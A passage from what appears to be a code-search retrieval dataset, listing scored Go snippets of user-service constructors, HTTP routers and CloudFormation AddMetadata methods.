*UserService {\n\treturn &UserService{\n\t\tclient: client,\n\t}\n}", "title": "" }, { "docid": "9073246be09bbd13255b1ed7db37a4b3", "score": "0.5814867", "text": "func New(controller Controller) *mux.Router {\n\tr := &mux.Router{}\n\n\t// Route Handlers / Endpoints\n\tr.HandleFunc(\"/api/users\", controller.GetUsers).Methods(http.MethodGet)\n\tr.HandleFunc(\"/api/users/{id}\", controller.GetUserById).Methods(http.MethodGet)\n\tr.HandleFunc(\"/api/external\", controller.GetExternalData).Methods(http.MethodGet)\n\n\treturn r\n}", "title": "" }, { "docid": "9bda705ed1ffb0478c9aae2246d5ce5e", "score": "0.58136505", "text": "func NewMiddleware(db database.DataBase) Middleware {\n\treturn &Service{\n\t\tdb: db,\n\t}\n}", "title": "" }, { "docid": "608bd9f107f854bc5cb218e833a36f98", "score": "0.58043444", "text": "func New(userService user.UserService) *Controller {\n\treturn &Controller{\n\t\tuserService: userService,\n\t}\n}", "title": "" }, { "docid": "d610ab1c45442567b8973930a4c4a991", "score": "0.5784397", "text": "func NewUserService(users domain.Users) UserService {\n\treturn &userServiceImpl{\n\t\tusers: users,\n\t\tpasswordHelper: &passwordHelper{},\n\t}\n}", "title": "" }, { "docid": "ada179cf102c99a755f72ba296170272", "score": "0.57422704", "text": "func New(\n\te *hyuser.Endpoints,\n\tmux goahttp.Muxer,\n\tdecoder func(*http.Request) goahttp.Decoder,\n\tencoder func(context.Context, http.ResponseWriter) goahttp.Encoder,\n\terrhandler func(context.Context, http.ResponseWriter, error),\n\tformatter func(ctx context.Context, err error) goahttp.Statuser,\n) *Server {\n\treturn &Server{\n\t\tMounts: []*MountPoint{\n\t\t\t{\"UserList\", \"GET\", \"/api/user\"},\n\t\t\t{\"GetUser\", \"GET\", \"/api/user/{user_id}\"},\n\t\t\t{\"CreateUser\", \"POST\", \"/api/user\"},\n\t\t\t{\"UpdateUser\", \"PUT\", \"/api/user/{user_id}\"},\n\t\t\t{\"DeleteUser\", \"DELETE\", \"/api/user/{user_id}\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/api/user\"},\n\t\t\t{\"CORS\", \"OPTIONS\", \"/api/user/{user_id}\"},\n\t\t},\n\t\tUserList: NewUserListHandler(e.UserList, mux, decoder, encoder, errhandler, formatter),\n\t\tGetUser: NewGetUserHandler(e.GetUser, mux, decoder, encoder, errhandler, formatter),\n\t\tCreateUser: NewCreateUserHandler(e.CreateUser, mux, decoder, encoder, errhandler, formatter),\n\t\tUpdateUser: NewUpdateUserHandler(e.UpdateUser, mux, decoder, encoder, errhandler, formatter),\n\t\tDeleteUser: NewDeleteUserHandler(e.DeleteUser, mux, decoder, encoder, errhandler, formatter),\n\t\tCORS: NewCORSHandler(),\n\t}\n}", "title": "" }, { "docid": "fe3d62e8d810bb8cef801b94f6464b51", "score": "0.5741176", "text": "func NewUsersService(repo Repository, o orgs.Service, secret string) *usersService {\n\treturn &usersService{\n\t\trepo: repo,\n\t\to: o,\n\t\tsecret: secret,\n\t}\n}", "title": "" }, { "docid": "b1deaf06185069a68b2e52d99d633e19", "score": "0.5721848", "text": "func NewUserService(httpClient *http.Client) *Client {\n\tbase := sling.New().Client(httpClient).Base(\"https://verifid.app\")\n\treturn &Client{\n\t\tsling: base,\n\t\tUser: newUserService(base.New()),\n\t}\n}", "title": "" }, { "docid": "1f46b0a9f1276d565d97a8b81a4408fb", "score": "0.5704082", "text": "func New(cli *thriftuser.UserServiceClient, logger log.Logger) service.UserService {\n\treturn &client{cli, logger}\n}", "title": "" }, { "docid": "6f448865adfa48731885b566be9ef6d2", "score": "0.56767803", "text": "func New(middleware []Middleware) TransactionsService {\n\tvar svc TransactionsService = NewBasicTransactionsService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "35c6e338a1f00e4142b2d7987282c216", "score": "0.56577265", "text": "func NewUserService(userRepo model.UserRepo, auth model.AuthService, rbac model.RBACService) *Service {\n\treturn &Service{\n\t\tuserRepo: userRepo,\n\t\tauth: auth,\n\t\trbac: rbac,\n\t}\n}", "title": "" }, { "docid": "356c4da61838a33c90e4201f6c8c11c6", "score": "0.56518316", "text": "func (s *Service) User() User {\n\treturn &UserMiddleware{\n\t\tmiddleware: s,\n\t}\n}", "title": "" }, { "docid": "b3a4bbb0951fa334de5d2cdd653458fa", "score": "0.5641598", "text": "func New(middleware []Middleware) DepartmentService {\n\tvar svc DepartmentService = NewBasicDepartmentService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "aefeb6cfd8a2e1bb38bd22cc48ef2112", "score": "0.5640044", "text": "func New() http.Handler {\n\tapi := way.NewRouter()\n\tapi.HandleFunc(\"POST\", \"/login\", C.Login)\n\tapi.HandleFunc(\"POST\", \"/user\", C.CreateUser)\n\n\trouter := way.NewRouter()\n\trouter.Handle(\"*\", \"/api...\", http.StripPrefix(\"/api\", M.WithAuth(api)))\n\treturn router\n}", "title": "" }, { "docid": "250150a5e5d235cb4b581d20470fc74c", "score": "0.5637306", "text": "func NewServices() Services {\n\tclient := database.NewPostgresSQLClient()\n\treturn Services{\n\t\tusers: &webusergateway.UserService{DB: client},\n\t}\n}", "title": "" }, { "docid": "1e9b689923baba10658aefcd5cb5874b", "score": "0.56354403", "text": "func NewUsersController(service *goa.Service, db *mgo.Database) *UsersController {\n\treturn &UsersController{\n\t\tController: service.NewController(\"UsersController\"),\n\t\tdb: model.NewUserDB(db),\n\t}\n}", "title": "" }, { "docid": "7da6907e23b440fb1d15a5c6f2a41f08", "score": "0.56186026", "text": "func New(middleware []Middleware) NotificationsService {\n\tvar svc NotificationsService = NewBasicNotificationsService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "4c93dd8acc3c073244a56ee378c1fe35", "score": "0.5609354", "text": "func New(middleware []Middleware) SensitiveWordsService {\n\tvar svc SensitiveWordsService = NewBasicSensitiveWordsService()\n\tfor _, m := range middleware {\n\t\tsvc = m(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "7fb4186236bc287f43e246d15fd82baa", "score": "0.55942345", "text": "func NewServices(c *Config) (*Services, error) {\n\tvar s Services\n\n\terr := c.check()\n\tif err != nil {\n\t\treturn nil, wrap(\"invalid configuration\", err)\n\t}\n\n\ts.db, err = gorm.Open(\"postgres\", c.DatabaseDSL)\n\tif err != nil {\n\t\treturn nil, wrap(\"failed to connect to postgres\", err)\n\t}\n\n\terr = s.autoMigrate()\n\tif err != nil {\n\t\treturn nil, wrap(\"can't migrate\", err)\n\t}\n\n\ts.Role = NewRoleService(s.db)\n\n\ts.User, err = NewUserService(s.db, s.Role, c.JWTSecret)\n\tif err != nil {\n\t\treturn nil, wrap(\"can't start UserService\", err)\n\t}\n\n\ts.Rating = NewRatingService(s.db, s.User)\n\n\terr = s.createDefaultValues()\n\tif err != nil {\n\t\treturn nil, wrap(\"can't insert default values\", err)\n\t}\n\n\treturn &s, nil\n}", "title": "" }, { "docid": "82cf6ce559f317b189bfad012f50f740", "score": "0.5589746", "text": "func NewUserService(\n\tlogger lib.Logger,\n\trepository repository.UserRepository,\n) UserService {\n\treturn UserService{\n\t\tlogger: logger,\n\t\trepository: repository,\n\t}\n}", "title": "" }, { "docid": "0e724a9f208acf0ae05097ec829290f9", "score": "0.5582254", "text": "func New() *UserController {\n\treturn &UserController{\n\t\troutePath: v1.UserRoute,\n\t}\n}", "title": "" }, { "docid": "8172a1fd56058b6ae0f2a3bdb213ca70", "score": "0.5563481", "text": "func NewUserRestController(service services.UserService, mapboxClient mapbox.MapboxClient) RestController {\n return &userRestController{service, mapboxClient}\n}", "title": "" }, { "docid": "7afc181b57004964b8ed6b90f63227be", "score": "0.5555101", "text": "func New(db *database.Database) *Services {\n\treturn &Services{\n\t\tMembers: members.New(db),\n\t\tTodos: todos.New(db),\n\t}\n}", "title": "" }, { "docid": "69817e2b4f17667148d16bc7dc82f98e", "score": "0.55541605", "text": "func NewUserService(repo interfaces.UserRepository) interfaces.UserService {\n\treturn &UserService{\n\t\trepo: repo,\n\t}\n}", "title": "" }, { "docid": "6912d4ee1dee9e7d2d93999c73a489ef", "score": "0.5543432", "text": "func NewUserService(userDao users.IUserDao) IUserService {\n\treturn &userService{userDao: userDao}\n}", "title": "" }, { "docid": "089608a93f0fe4365b7069054318375b", "score": "0.55418056", "text": "func NewUserService(connection user.IRepository) *Service {\n\treturn &Service{conn: connection}\n}", "title": "" }, { "docid": "1a001398afb557d720288a47700b86dd", "score": "0.5541701", "text": "func NewUserController(mw railway.MiddlewareService, us railway.UserService) *UserController {\n\tresult := &UserController{\n\t\tUserService: us,\n\t\tMux: ninjarouter.New(),\n\t}\n\n\tresult.Mux.GET(\"/users/all\", mw.AdminChain(result.UserAll))\n\tresult.Mux.POST(\"/users/create\", mw.AdminChain(result.UserCreate))\n\tresult.Mux.POST(\"/users/registration\", mw.InsecureChain(result.UserCreate))\n\tresult.Mux.GET(\"/users/:id/get\", mw.StaffChain(result.UserByID))\n\tresult.Mux.POST(\"/users/:id/update\", mw.StaffChain(result.UserUpdate))\n\tresult.Mux.POST(\"/users/:id/archive\", mw.AdminChain(result.UserArchive))\n\tresult.Mux.POST(\"/users/:id/unarchive\", mw.AdminChain(result.UserUnarchive))\n\tresult.Mux.POST(\"/users/:id/disable\", mw.AdminChain(result.UserDisable))\n\tresult.Mux.POST(\"/users/:id/enable\", mw.AdminChain(result.UserEnable))\n\tresult.Mux.POST(\"/users/:id/passwordreset\", mw.AdminChain(result.UserSetResetToken))\n\tresult.Mux.POST(\"/users/passwordreset\", mw.InsecureChain(result.UserPasswordReset))\n\n\treturn result\n}", "title": "" }, { "docid": "dce25e312fb902bb862357c53a0fe0e3", "score": "0.55411685", "text": "func NewUsers(us *models.UserService) *Users {\n\treturn &Users{\n\t\tNewView: views.NewView(\"bootstrap\", \"users/new\"),\n\t\tLoginView: views.NewView(\"bootstrap\", \"users/login\"),\n\t\tus: us,\n\t}\n}", "title": "" }, { "docid": "702de59e3ef679f92ace50ba3478640c", "score": "0.5531171", "text": "func NewUserService(uc *biz.UserUsecase) *UserService {\n\treturn &UserService{}\n}", "title": "" }, { "docid": "e984ae951b8e84fa334d6661ed7de1e7", "score": "0.55293316", "text": "func NewController(s Service) *UserController {\n\treturn &UserController{\n\t\tservice: s,\n\t}\n}", "title": "" }, { "docid": "fbc7ba9c78be09bbf12f9ebfc7b4ddbb", "score": "0.5524984", "text": "func NewService(us user.Service, groups iam.GroupRepository, members iam.MembershipRepository, logger log.Logger) Service {\n\tsvc := &service{\n\t\tusers: us,\n\t\tl: mutex.New(),\n\t\tgroups: groups,\n\t\tmembers: members,\n\t\tlog: logger,\n\t}\n\n\tus.OnDelete(context.Background(), svc.userDeleted)\n\n\treturn svc\n}", "title": "" }, { "docid": "587ba29429b057cc5fdb10b480f34fca", "score": "0.55198866", "text": "func NewUserService(dao userDAO) *UserService {\n\treturn &UserService{dao}\n}", "title": "" }, { "docid": "423300cd42e20328c304bc34205c9ea0", "score": "0.55095977", "text": "func New(dispatcher dispatch.Dispatcher, logger log.Logger) Service {\n\tvar svc Service\n\t{\n\t\tsvc = newBasicService(dispatcher)\n\t\tsvc = LoggingMiddleware(logger)(svc)\n\t}\n\treturn svc\n}", "title": "" }, { "docid": "e140d21bf1d80518a92a1144a203dab2", "score": "0.54974383", "text": "func NewUsers() *Users {\n\treturn &Users{m: make(map[string]*Person)}\n}", "title": "" }, { "docid": "caaec67abcb99b9eac3dc83a226aa3a2", "score": "0.54967546", "text": "func (_m *UserI) New(ctx *gin.Context) {\n\t_m.Called(ctx)\n}", "title": "" }, { "docid": "bef40b9cce950aecadb3a3fe139af5f9", "score": "0.54940695", "text": "func NewUsers(us models.UserService) *Users {\n\treturn &Users{\n\t\tus: us,\n\t}\n}", "title": "" }, { "docid": "6829c0824d024b6a2e475c154639df23", "score": "0.5491181", "text": "func NewUserService(repo repository.UserRepository) UserService {\n\treturn &userService{\n\t\trepo: repo,\n\t}\n}", "title": "" }, { "docid": "4580672fc38ffbe4960e616e729f9e14", "score": "0.5486956", "text": "func NewUsersHTTPServer(svc Users, opts ...options.Option) http.Handler {\n\tr := mux.NewRouter()\n\tsvcOptions := options.New()\n\tfor _, optf := range opts {\n\t\toptf(svcOptions)\n\t}\n\n\t{\n\n\t\tgetUserEndpoint := makeGetUserEndpoint(svc, svcOptions)\n\t\tgetUserHandler := httptransport.NewServer(\n\t\t\tgetUserEndpoint,\n\t\t\tdecodeGetUserRequest,\n\t\t\tencodeGetUserResponse,\n\t\t\tsvcOptions.HTTPOptions()...,\n\t\t)\n\t\tr.Handle(\"/user\", getUserHandler).Methods(\"GET\")\n\t}\n\n\treturn r\n}", "title": "" }, { "docid": "1c99ee48b962bcaa022b9c612c188d8e", "score": "0.54847074", "text": "func New(service ServiceProvider, authClient AuthProvider) (*Handler, error) {\n\n\tswitch {\n\tcase authClient == nil:\n\t\treturn nil, errors.New(\"auth client is required\")\n\tcase service == nil:\n\t\treturn nil, errors.New(\"service is required\")\n\t}\n\n\th := &Handler{\n\t\tservice: service,\n\t}\n\trouter := httprouter.New()\n\n\tmiddleware := NewMiddleware(authClient)\n\tchain := middleware.Chain(middleware.ContentTypeJSON, middleware.Authorise)\n\n\trouter.GET(\"/health\", h.health)\n\trouter.POST(\"/carts\", chain.Wrap(h.createCart))\n\trouter.POST(\"/carts/:cartID/items\", chain.Wrap(h.addItem))\n\trouter.DELETE(\"/items/:itemID\", chain.Wrap(h.removeItem))\n\t// to find out why I chose DELETE for emptying the cart read the comments in the handler\n\trouter.DELETE(\"/carts/:cartID/items\", chain.Wrap(h.emptyCart))\n\n\th.Handler = router\n\treturn h, nil\n}", "title": "" }, { "docid": "2926d1129e9c275a64f9a868b98b2036", "score": "0.5481556", "text": "func NewUserController(router *gin.RouterGroup, service *userservice.UserService) {\n\tcontroller := UserController{\n\t\tservice: service,\n\t}\n\n\trouter.POST(USER, controller.createUser)\n\trouter.PUT(FRIENDS, controller.updateFriends)\n\trouter.GET(FRIENDS, controller.getFriends)\n\trouter.GET(USER, controller.getAllUsers)\n\n}", "title": "" }, { "docid": "4d3e350e21ef1a271cc76f729fa467a6", "score": "0.5471716", "text": "func New(db *sql.DB) *Users {\n\treturn &Users{\n\t\tdb,\n\t}\n}", "title": "" }, { "docid": "16a6aa551deab4d0854e99a52c187eb4", "score": "0.54570884", "text": "func NewUserService(userRepo1 repositories.UserRepository) UserService {\n\treturn &userService{\n\t\tuserRepo: userRepo1,\n\t}\n}", "title": "" }, { "docid": "02876052f1ed989bc429ad8cfb8c1fc7", "score": "0.5451915", "text": "func New(shutdown chan os.Signal, db *gorm.DB, logger *logrus.Logger /*,exporter *prometheus.Exporter */, authenticator *auth.Authenticator, cache cache.Cache) http.Handler {\n\t// Setup repositories\n\trepo := repository.NewUserGormRepository(db)\n\tus := service.NewService(repo, logger)\n\tus = service.NewLoggingService(logger, us)\n\tauthenticator.SetRepository(repo.GormRepository)\n\tauthenticator.SetCache(cache)\n\tas := service.NewAuthService(repo, authenticator, logger)\n\n\tapp := web.NewApp(shutdown, logger)\n\trouter := app.Engine\n\trouter.Use(mid.Error(logger))\n\tv1 := router.Group(\"/api/v1\")\n\tsetUserRouter(v1, us, logger, authenticator)\n\tsetAuthRouter(router, as, logger)\n\n\t/*router.GET(\"/metrics\", func(c *gin.Context) {\n\t\texporter.ServeHTTP(c.Writer, c.Request)\n\t}) */\n\n\treturn app\n}", "title": "" }, { "docid": "ce8f04d09eb355d5d3a4bdc0408ed12f", "score": "0.54433393", "text": "func New(service service.UserServiceInterface) UserUseCaseInterface {\n\treturn &userUseCase{service}\n}", "title": "" }, { "docid": "6bfaee618aa4b6f7a9eb5cab19941c06", "score": "0.5441707", "text": "func New(totpService totp.TOTP, repo Repository) TOTPUser {\n\treturn &service{totpService, repo}\n}", "title": "" }, { "docid": "cfb2ef64dcf81e28fd4add975accf4cd", "score": "0.54397935", "text": "func NewService(app common.AppIface) proto.UserServiceServer {\n\ts := &userService{\n\t\tapp: app,\n\t}\n\treturn s\n}", "title": "" }, { "docid": "beeee77f4523b9b8d74bd7008664a191", "score": "0.54375696", "text": "func New(api restapi.Connector) *UserStore {\n\treturn &UserStore{api: api}\n}", "title": "" }, { "docid": "beeee77f4523b9b8d74bd7008664a191", "score": "0.54375696", "text": "func New(api restapi.Connector) *UserStore {\n\treturn &UserStore{api: api}\n}", "title": "" }, { "docid": "6311905edae9e9a37309233b6e047669", "score": "0.5397164", "text": "func NewUserService(connectionInfo string) (*UserService, error) {\n\tug, err := newUserGorm(connectionInfo)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &UserService{\n\t\tUserDB: &userValidator{\n\t\t\tUserDB: ug,\n\t\t},\n\t}, nil\n}", "title": "" }, { "docid": "04acfa9f6fdf9f1931b3ee52d5cfd899", "score": "0.5384785", "text": "func NewUserService(userRepo repository.UserRepository) service.UserService {\n\treturn &userService{\n\t\tuserRepo: userRepo,\n\t}\n}", "title": "" } ]
a6c5fb7d00a2762e2c2d588fcac43caa
Add a value to the CloudFormation Resource Metadata. See: Note that this is a different set of metadata from CDK node metadata; this metadata ends up in the stack template under the resource, whereas CDK node metadata ends up in the Cloud Assembly. Experimental.
[ { "docid": "74150edc4083e9a8092baf235bf9dc9c", "score": "0.5513106", "text": "func (c *jsiiProxy_CfnReceiptRuleSet) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" } ]
[ { "docid": "370ea800aa247719165ead0a15fa3f95", "score": "0.7021738", "text": "func (c *jsiiProxy_CfnResource) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "0fa8342cbfc2b4956af2acf88379ef1e", "score": "0.6943805", "text": "func (c *jsiiProxy_CfnCustomResource) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "2f28eb217aa80b00785a8607a7917042", "score": "0.6927362", "text": "func (c *jsiiProxy_CfnResourceVersion) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "50786894e20c3421600beeeb25476744", "score": "0.644616", "text": "func (tracer Tracer) AddMetadata(ctx context.Context, key string, value interface{}) error {\n\treturn xray.AddMetadata(ctx, key, value)\n}", "title": "" }, { "docid": "a887ef2724e399d33fe30c4b5274ee46", "score": "0.6445064", "text": "func (c *jsiiProxy_CfnProvisioningTemplate) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "c0c9f6e6f2bc80acfa53a2713d27793a", "score": "0.64143234", "text": "func (c *jsiiProxy_CfnResourceDefaultVersion) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "0ea6303c28636b0de8d430819461b6ab", "score": "0.6411443", "text": "func (c *jsiiProxy_CfnRestApi) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "b2c76b6e28693091f11214def568d371", "score": "0.6320772", "text": "func (c *jsiiProxy_CfnStack) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "c8b94a5fec20f83d3b3f8f96d2966e67", "score": "0.62709796", "text": "func (c *jsiiProxy_CfnTemplate) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "2648ecf85422b584c1a6a06ea73aeeed", "score": "0.6262027", "text": "func (c *jsiiProxy_CfnStage) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "0292c60fb30cc4b24031e37ef8d0d2cc", "score": "0.62538993", "text": "func (c *jsiiProxy_CfnModuleVersion) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "9ada995d73931c552eca74ed976e48fd", "score": "0.6172354", "text": "func (c *jsiiProxy_CfnRegistryPolicy) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "3297673566ae2b0fd341f6346606b512", "score": "0.6137035", "text": "func (c *jsiiProxy_CfnStageV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "1061ea81de35ab5147a4f2bdc327592d", "score": "0.61343694", "text": "func (c *jsiiProxy_CfnRegistry) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "3592400b80572a8c722a1b09220a38ea", "score": "0.61198926", "text": "func (c *jsiiProxy_CfnEnvironment) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "1934ce9238fcb8693fdc3f4b933d61c4", "score": "0.61070824", "text": "func (c *jsiiProxy_CfnApiKey) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "681eefd17898230a8e70b26abb90954e", "score": "0.61010927", "text": "func (c *jsiiProxy_CfnDeployment) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "e00b2eb86fcf41ae9a29f10dd2467fcf", "score": "0.60868764", "text": "func (c *jsiiProxy_CfnApiV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "6c196bc305e087ef9f0a44fca512280d", "score": "0.6081027", "text": "func (c *jsiiProxy_CfnDocumentationVersion) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "df789a80b4770a7bf71804957ecab47a", "score": "0.60740125", "text": "func (s *Subscription) AddMetadata(key, value string) {\n\ts.Metadata[key] = value\n}", "title": "" }, { "docid": "999c3598113cd8f7d7fdc8f9b811a7d2", "score": "0.60510916", "text": "func (c *jsiiProxy_CfnStackSet) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "6ecf74a9a39ca18fea7e40ab81230b64", "score": "0.604032", "text": "func (c *jsiiProxy_CfnCustomMetric) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "22298ece19fa9645646c19e3846d45cf", "score": "0.60317224", "text": "func (c *jsiiProxy_CfnCanary) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "36f75697ef217cee4ca3292955938884", "score": "0.60281265", "text": "func (c *jsiiProxy_CfnThing) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "a2db92c763d009a9ee3948943002215d", "score": "0.6015727", "text": "func (c *jsiiProxy_CfnProject) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "e103a20d647b95d36812cc264fa40a54", "score": "0.6006291", "text": "func (c *jsiiProxy_CfnAgent) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "682f6800eefd6215ff24cac8d3ee95ce", "score": "0.6000956", "text": "func (c *jsiiProxy_CfnDeploymentV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "7f39cda11e4b2e03a50c7009e176aab7", "score": "0.59920394", "text": "func (c *jsiiProxy_CfnDocumentationPart) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "55c48e364323da98c27e3d0d2a07c2a7", "score": "0.5984909", "text": "func (c *jsiiProxy_CfnLicense) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "b76737d73734feace62b81a46a7829ce", "score": "0.59804535", "text": "func (p *Params) AddMetadata(key, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "49c75a4aeefa4781375d495a608f8fa6", "score": "0.5969639", "text": "func (c *jsiiProxy_CfnModelV2) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "a2cc69da9a30176f86917d004b98eb3b", "score": "0.59687454", "text": "func (s *Segment) addMetadata(key string, value interface{}) {\n\ts.Lock()\n\tdefer s.Unlock()\n\n\tif s.Metadata == nil {\n\t\ts.Metadata = make(map[string]map[string]interface{})\n\t\ts.Metadata[\"default\"] = make(map[string]interface{})\n\t}\n\ts.Metadata[\"default\"][key] = value\n}", "title": "" }, { "docid": "dd2efdf0842c88508980a67e8510cad2", "score": "0.59640837", "text": "func (c *jsiiProxy_CfnTask) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "b6813c992b58e37607e3cd25422373a1", "score": "0.5961466", "text": "func (p *CardParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "91f9688bfabb3f5883953e16d73b5ca0", "score": "0.59502697", "text": "func (p *PromotionCodeParams) AddMetadata(key string, value string) {\n\tif p.Metadata == nil {\n\t\tp.Metadata = make(map[string]string)\n\t}\n\n\tp.Metadata[key] = value\n}", "title": "" }, { "docid": "02dca820b6b3b77876de84561232a5f6", "score": "0.59498006", "text": "func (s *Segment) AddMetadata(key string, value string) {\n\ts.addMetadata(key, value)\n}", "title": "" }, { "docid": "f7aeb11aea3f2ffa2d9550a3e212de74", "score": "0.5943473", "text": "func (c *jsiiProxy_CfnMacro) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "f8781374b1a29b3efc07d2f7bb519404", "score": "0.5941864", "text": "func (c *jsiiProxy_CfnModel) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "8906b28f20ebe2ac1913b7d8c42c0dc7", "score": "0.59380275", "text": "func (c *jsiiProxy_CfnPolicy) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "39523979f0b6698f5f840d0f5c5e5926", "score": "0.59259325", "text": "func (c *jsiiProxy_CfnSourceCredential) AddMetadata(key *string, value interface{}) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"addMetadata\",\n\t\t[]interface{}{key, value},\n\t)\n}", "title": "" }, { "docid": "034fdc2d6a67c0c019389b63ff3d040c", "score": "0.591922", "text": "func (p *Payout) AddMetadata(key, value string) {\n\tp.Metadata[key] = value\n}", "title": "" }, { 